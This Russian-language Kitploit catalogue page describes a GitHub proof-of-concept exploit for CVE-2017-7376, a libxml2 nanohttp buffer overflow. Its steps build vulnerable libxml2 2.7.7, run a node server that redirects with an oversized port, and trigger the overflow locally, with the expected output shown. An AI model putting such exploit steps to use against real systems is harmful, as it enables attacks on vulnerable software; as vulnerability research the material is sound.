Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
libxml2-exploit — Пример эксплойта для CVE-2017-7376 | Kitploit
Инструменты/GitHubGitHub/brahmstaedt/libxml2-exploit
Анализ уязвимостейЭксплуатацияВеб-безопасностьФаззингЭксплуатация Бинарных Файлов
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Пример эксплойта для CVE-2017-7376

Репозиторий
336 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

libxml2-exploit

Пример эксплойта для CVE-2017-7376

Установка

Скачайте этот репозиторий и уязвимую версию libxml2, например v2.7.7:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Настройка

root@kitploit:~
cd libxml2

подготовка libxml2

Чтобы сделать успешность эксплойта более заметной, добавьте код для обнаружения переполнения буфера в libxml2. Не требуется, если у вас есть другие способы наблюдения, например, падение приложения.

root@kitploit:~
git apply ../nanohttp.patch

сборка libxml2

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

В случае появления следующей ошибки:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Замените в configure.in AM_C_PROTOTYPES на dnl AM_C_PROTOTYPES, например так:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Вернитесь назад

root@kitploit:~
cd ..

подготовка веб-сервера

Этот эксплойт требует веб-сервер, отвечающий перенаправлением на новый URL с номером порта длиной более 5 цифр и меньше int32max (2147483648 = 2^32/2).

Запустите сервер (требуется node JS и свободный порт 127.0.0.1:8080):

root@kitploit:~
node http.js &

Проверьте веб-сервер; должно появиться сообщение об ошибке из-за недопустимого номера порта 2147426192:

root@kitploit:~
wget localhost:8080

Компиляция

root@kitploit:~
make

Запуск

root@kitploit:~
./run.sh

Ожидаемый вывод:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

Планы

Этот демонстрационный эксплойт требует, чтобы основная программа выполняла xmlXIncludeProcess() для достижения ошибочного кода в libxml2, что вряд ли используется во многих реальных реализациях. Однако в комментарии nanohttp.c упоминается, что это минималистичная реализация HTTP GET для получения внешних подмножеств, что может предложить другой путь эксплуатации.

Скачать инструмент